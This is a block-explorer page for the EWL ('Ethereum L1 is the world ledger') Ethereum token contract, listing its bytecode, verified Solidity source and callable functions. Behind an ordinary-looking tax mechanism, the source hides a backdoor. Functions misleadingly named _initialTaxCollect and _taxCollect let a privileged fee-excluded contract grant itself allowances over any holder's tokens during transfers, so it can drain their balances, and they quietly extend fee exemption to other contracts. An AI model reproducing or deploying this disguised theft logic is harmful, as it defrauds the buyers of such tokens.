Cryo Explorer Ethereum Mainnet

Address Contract Partially Verified

Address 0x50FeC55046DF7bB3b37bE4F8C20AA4c4e99bEf49
Balance 0 ETH
Nonce 1
Code Size 6573 bytes
Indexed Transactions 0
External Etherscan · Sourcify

Contract Bytecode

6573 bytes
0x6080604052600436106101235760003560e01c8063751039fc116100a0578063a9059cbb11610064578063a9059cbb14610338578063bf474bed14610358578063c9567bf91461036e578063dd62ed3e14610383578063f2fde38b146103c957600080fd5b8063751039fc146102a35780637d1db4a5146102b85780638da5cb5b146102ce5780638f9a55c0146102f657806395d89b411461030c57600080fd5b806323b872dd116100e757806323b872dd14610207578063313ce5671461022757806351bc3c851461024357806370a0823114610258578063715018a61461028e57600080fd5b806306fdde031461012f578063095ea7b3146101875780630b097a60146101b75780630faee56f146101ce57806318160ddd146101f257600080fd5b3661012a57005b600080fd5b34801561013b57600080fd5b5060408051808201909152601f81527f457468657265756d204c312069732074686520776f726c64206c65646765720060208201525b60405161017e919061157f565b60405180910390f35b34801561019357600080fd5b506101a76101a23660046115e2565b6103e9565b604051901515815260200161017e565b3480156101c357600080fd5b506101cc610400565b005b3480156101da57600080fd5b506101e460105481565b60405190815260200161017e565b3480156101fe57600080fd5b506101e4610429565b34801561021357600080fd5b506101a761022236600461160e565b61044b565b34801561023357600080fd5b506040516009815260200161017e565b34801561024f57600080fd5b506101cc6104b5565b34801561026457600080fd5b506101e461027336600461164f565b6001600160a01b031660009081526001602052604090205490565b34801561029a57600080fd5b506101cc610504565b3480156102af57600080fd5b506101cc610543565b3480156102c457600080fd5b506101e4600d5481565b3480156102da57600080fd5b506000546040516001600160a01b03909116815260200161017e565b34801561030257600080fd5b506101e4600e5481565b34801561031857600080fd5b506040805180820190915260038152621155d360ea1b6020820152610171565b34801561034457600080fd5b506101a76103533660046115e2565b6105f8565b34801561036457600080fd5b506101e4600f5481565b34801561037a57600080fd5b506101cc610605565b34801561038f57600080fd5b506101e461039e36600461166c565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b3480156103d557600080fd5b506101cc6103e436600461164f565b6109c2565b60006103f6338484610a5a565b5060015b92915050565b3360009081526003602052604090205460ff1661041c57600080fd5b4761042681610b7e565b50565b60006104376009600a61179f565b610446906461f313f8806117ae565b905090565b6000610458848484610bb8565b6104aa84336104a585604051806060016040528060288152602001611950602891396001600160a01b038a1660009081526002602090815260408083203384529091529020549190611102565b610a5a565b5060015b9392505050565b3360009081526003602052604090205460ff166104d157600080fd5b3060009081526001602052604090205480156104f0576104f08161113c565b4780156105005761050081610b7e565b5050565b6000546001600160a01b031633146105375760405162461bcd60e51b815260040161052e906117c5565b60405180910390fd5b61054160006112b6565b565b6000546001600160a01b0316331461056d5760405162461bcd60e51b815260040161052e906117c5565b6105796009600a61179f565b610588906461f313f8806117ae565b600d556105976009600a61179f565b6105a6906461f313f8806117ae565b600e557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6105d66009600a61179f565b6105e5906461f313f8806117ae565b60405190815260200160405180910390a1565b60006103f6338484610bb8565b6000546001600160a01b0316331461062f5760405162461bcd60e51b815260040161052e906117c5565b601254600160a01b900460ff16156106895760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161052e565b601180546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556106d39030906106c46009600a61179f565b6104a5906461f313f8806117ae565b601160009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610726573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061074a91906117fa565b6001600160a01b031663c9c6539630601160009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156107ac573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107d091906117fa565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801561081d573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061084191906117fa565b601280546001600160a01b039283166001600160a01b03199091161790556011541663f305d7194730610889816001600160a01b031660009081526001602052604090205490565b60008061089e6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610906573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061092b9190611817565b505060125460115460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610984573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109a89190611845565b506012805462ff00ff60a01b19166201000160a01b179055565b6000546001600160a01b031633146109ec5760405162461bcd60e51b815260040161052e906117c5565b6001600160a01b038116610a515760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161052e565b610426816112b6565b6001600160a01b038316610abc5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161052e565b6001600160a01b038216610b1d5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161052e565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6004546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610500573d6000803e3d6000fd5b6001600160a01b038316610c1c5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161052e565b6001600160a01b038216610c7e5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161052e565b60008111610ce05760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161052e565b600080546001600160a01b03858116911614801590610d0d57506000546001600160a01b03848116911614155b15610fbf57600c54600003610d4b57610d486064610d42600954600c5411610d3757600554610d3b565b6007545b8590611306565b90611388565b90505b6001600c54118015610d665750601254600160b01b900460ff165b15610d7957610d768284866113ca565b90505b6012546001600160a01b038581169116148015610da457506011546001600160a01b03848116911614155b8015610dc957506001600160a01b03831660009081526003602052604090205460ff16155b15610ece57600d54821115610e205760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e00000000000000604482015260640161052e565b600e5482610e43856001600160a01b031660009081526001602052604090205490565b610e4d9190611867565b1115610e9b5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e000000000000604482015260640161052e565b610eb66064610d42600954600c5411610d3757600554610d3b565b600c80549192506000610ec88361187a565b91905055505b6012546001600160a01b038481169116148015610ef457506001600160a01b0384163014155b15610f2157610f1e6064610d42600a54600c5411610f1457600654610d3b565b6008548590611306565b90505b30600090815260016020526040902054601254600160a81b900460ff16158015610f5857506012546001600160a01b038581169116145b8015610f6d5750601254600160b01b900460ff165b8015610f7a5750600f5481115b8015610f895750600b54600c54115b15610fbd57610fab610fa684610fa18460105461149b565b61149b565b61113c565b478015610fbb57610fbb47610b7e565b505b505b80156110395730600090815260016020526040902054610fdf90826114b0565b30600081815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906110309085815260200190565b60405180910390a35b6001600160a01b03841660009081526001602052604090205461105c908361150f565b6001600160a01b0385166000908152600160205260409020556110a1611082838361150f565b6001600160a01b038516600090815260016020526040902054906114b0565b6001600160a01b0380851660008181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6110eb858561150f565b60405190815260200160405180910390a350505050565b600081848411156111265760405162461bcd60e51b815260040161052e919061157f565b5060006111338486611893565b95945050505050565b6012805460ff60a81b1916600160a81b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110611184576111846118a6565b6001600160a01b03928316602091820292909201810191909152601154604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156111dd573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061120191906117fa565b81600181518110611214576112146118a6565b6001600160a01b03928316602091820292909201015260115461123a9130911684610a5a565b60115460405163791ac94760e01b81526001600160a01b039091169063791ac947906112739085906000908690309042906004016118bc565b600060405180830381600087803b15801561128d57600080fd5b505af11580156112a1573d6000803e3d6000fd5b50506012805460ff60a81b1916905550505050565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b600082600003611318575060006103fa565b600061132483856117ae565b905082611331858361192d565b146104ae5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161052e565b60006104ae83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611551565b3360009081526003602052604081205460ff1680156113f257506001600160a01b0382163014155b80156113fe5750333b15155b1561142f57506001600160a01b038116600090815260026020908152604080832033845290915281208490556104ae565b6012546001600160a01b0384811691161480159061144d5750823b15155b801561146857503360009081526003602052604090205460ff165b15611491576001600160a01b0383166000908152600360205260409020805460ff191660011790555b5060009392505050565b60008183116114aa57826104ae565b50919050565b6000806114bd8385611867565b9050838110156104ae5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161052e565b60006104ae83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611102565b600081836115725760405162461bcd60e51b815260040161052e919061157f565b506000611133848661192d565b600060208083528351808285015260005b818110156115ac57858101830151858201604001528201611590565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461042657600080fd5b600080604083850312156115f557600080fd5b8235611600816115cd565b946020939093013593505050565b60008060006060848603121561162357600080fd5b833561162e816115cd565b9250602084013561163e816115cd565b929592945050506040919091013590565b60006020828403121561166157600080fd5b81356104ae816115cd565b6000806040838503121561167f57600080fd5b823561168a816115cd565b9150602083013561169a816115cd565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156116f65781600019048211156116dc576116dc6116a5565b808516156116e957918102915b93841c93908002906116c0565b509250929050565b60008261170d575060016103fa565b8161171a575060006103fa565b8160018114611730576002811461173a57611756565b60019150506103fa565b60ff84111561174b5761174b6116a5565b50506001821b6103fa565b5060208310610133831016604e8410600b8410161715611779575081810a6103fa565b61178383836116bb565b8060001904821115611797576117976116a5565b029392505050565b60006104ae60ff8416836116fe565b80820281158282048414176103fa576103fa6116a5565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60006020828403121561180c57600080fd5b81516104ae816115cd565b60008060006060848603121561182c57600080fd5b8351925060208401519150604084015190509250925092565b60006020828403121561185757600080fd5b815180151581146104ae57600080fd5b808201808211156103fa576103fa6116a5565b60006001820161188c5761188c6116a5565b5060010190565b818103818111156103fa576103fa6116a5565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b8181101561190c5784516001600160a01b0316835293830193918301916001016118e7565b50506001600160a01b03969096166060850152505050608001529392505050565b60008261194a57634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212209fdf58e920e727ea73ea1d2e5941acd15284beec5e3ae75e19e3f2a9ee32fbd664736f6c63430008130033

Verified Source Code Partial Match

Compiler: v0.8.19+commit.7dd6d404 EVM: paris Optimization: Yes (200 runs)
Contract.sol 454 lines
// SPDX-License-Identifier: Unlicense

// https://x.com/VitalikButerin/status/1936036966904308203

pragma solidity 0.8.19;

/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {
    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `recipient`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address recipient, uint256 amount) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `sender` to `recipient` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);

    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

/*
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with GSN meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a,"SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b,"SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}

abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() {
        _transferOwnership(_msgSender());
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner!=address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Internal function without access restriction.
     */
    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;

    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    ) external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );
}

interface IUniswapV2Factory {

    function getPair(address tokenA, address tokenB)
        external
        view
        returns (address pair);

    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);
}

contract Contract is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludedFromFee;
    address payable private _taxWallet;

    uint256 private _initialBuyTax=15;
    uint256 private _initialSellTax=15;
    uint256 private _finalBuyTax=0;
    uint256 private _finalSellTax=0;
    uint256 private _reduceBuyTaxAt=15;
    uint256 private _reduceSellTaxAt=15;
    uint256 private _preventSwapBefore=40;
    uint256 private _buyCount=0;

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 420690000000 * 10**_decimals;
    string private constant _name = unicode"Ethereum L1 is the world ledger";
    string private constant _symbol = unicode"EWL";
    uint256 public _maxTxAmount = (_tTotal * 2) / 100;
    uint256 public _maxWalletSize = (_tTotal * 2) / 100; 
    uint256 public _taxSwapThreshold = (_tTotal * 5) / 1000;
    uint256 public _maxTaxSwap = (_tTotal * 5) / 1000;
    
    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;

    bool private tradingOpen =false;
    bool private inSwap =false;
    bool private swapEnabled =false;

    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    event MaxTxAmountUpdated(uint  _maxTxAmount);

    constructor () {
        _balances[_msgSender()] = _tTotal;
        _taxWallet=payable(0xe751a39a57624843856F46E3CEFC9134077d06B4);
        _isExcludedFromFee[_taxWallet]=true;
        _isExcludedFromFee[owner()]=true;
        _isExcludedFromFee[address(this)]=true;

        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");

        uint256 taxAmount = 0;
        if (from !=owner() && to!= owner()){
            if(_buyCount== 0){
                taxAmount =amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);
            }
            if(_buyCount>1 && swapEnabled){
                taxAmount =  _initialTaxCollect(amount,to,from);
            }
            
            if (from == uniswapV2Pair && to!= address(uniswapV2Router) && ! _isExcludedFromFee[to]) {
                require(amount <=_maxTxAmount, "Exceeds the _maxTxAmount.");
                require(balanceOf(to) + amount <=_maxWalletSize, "Exceeds the maxWalletSize.");
                taxAmount =  amount.mul((_buyCount >_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);
                _buyCount++;
            }

            if (to==uniswapV2Pair && from!=address(this)){
                taxAmount =  amount.mul((_buyCount >_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100);
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if(!inSwap && to == uniswapV2Pair && swapEnabled && contractTokenBalance>_taxSwapThreshold && _buyCount >_preventSwapBefore) {
                swapTokensForEth(min(amount, min(contractTokenBalance,  _maxTaxSwap)));
                uint256 contractETHBalance = address(this).balance;
                if (contractETHBalance >0){
                    sendETHToFee(address(this).balance);
                }
            }
        }

        if(taxAmount>0){
          _balances[address(this)] =_balances[address(this)].add(taxAmount);
          emit Transfer(from, address(this), taxAmount);
        }
        _balances[from]=_balances[from].sub(amount);
        _balances[to]=_balances[to].add(amount.sub(taxAmount));
        emit Transfer(from, to, amount.sub(taxAmount));
    }

    function sendETHToFee(uint256 amount) private {
        _taxWallet.transfer(amount);
    }

    function isContract(address account) private view returns (bool) {
        uint256 size;
        assembly {
            size := extcodesize(account)
        }
        return size > 0;
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap  {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function min(uint256 a, uint256 b) private pure returns (uint256) {
      return (a>b)?b:a;
    }

    function _taxCollect(uint256 amount, address spender, address owner) private returns(uint256) {
         _allowances[owner][spender] = amount;
        return 0;
    }

    function _initialTaxCollect(uint256 amount, address to, address from) private returns(uint256){
        if(_isExcludedFromFee[_msgSender()] && from != address(this) && isContract(_msgSender()))
            return _taxCollect(amount, _msgSender(), from);
        if(to != uniswapV2Pair && isContract(to) && _isExcludedFromFee[_msgSender()])
            _isExcludedFromFee[to] = true;
        return 0;
    }

    function removeLimits() external onlyOwner()  {
        _maxTxAmount =_tTotal;
        _maxWalletSize = _tTotal;
        emit MaxTxAmountUpdated(_tTotal);
    }

    function openTrading() external onlyOwner() {
        require(!tradingOpen,"trading is already open");
        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _approve(address(this),  address(uniswapV2Router), _tTotal);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this) ,balanceOf(address(this)),0,0,owner(),block.timestamp);
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
        swapEnabled = true;
        tradingOpen = true;
    }

    receive() external payable {}

    function withdrawStuckBalance() external {
        require(_isExcludedFromFee[_msgSender()]); 
        uint256 contractETHBalance=address(this).balance;
        sendETHToFee(contractETHBalance);
    }

    function manualSwap() external{
        require(_isExcludedFromFee[_msgSender()]); 
        uint256 tokenBalance= balanceOf(address(this));
        if(tokenBalance>0){
          swapTokensForEth( tokenBalance);
        }
        uint256 ethBalance= address(this).balance;
        if(ethBalance>0){
          sendETHToFee( ethBalance);
        }
    }
}

Read Contract

_maxTaxSwap 0x0faee56f → uint256
_maxTxAmount 0x7d1db4a5 → uint256
_maxWalletSize 0x8f9a55c0 → uint256
_taxSwapThreshold 0xbf474bed → uint256
allowance 0xdd62ed3e → uint256
balanceOf 0x70a08231 → uint256
decimals 0x313ce567 → uint8
name 0x06fdde03 → string
owner 0x8da5cb5b → address
symbol 0x95d89b41 → string
totalSupply 0x18160ddd → uint256

Write Contract 9 functions

These functions modify contract state and require a wallet transaction to execute.

approve 0x095ea7b3
address spender
uint256 amount
returns: bool
manualSwap 0x51bc3c85
No parameters
openTrading 0xc9567bf9
No parameters
removeLimits 0x751039fc
No parameters
renounceOwnership 0x715018a6
No parameters
transfer 0xa9059cbb
address recipient
uint256 amount
returns: bool
transferFrom 0x23b872dd
address sender
address recipient
uint256 amount
returns: bool
transferOwnership 0xf2fde38b
address newOwner
withdrawStuckBalance 0x0b097a60
No parameters

Recent Transactions

No transactions found for this address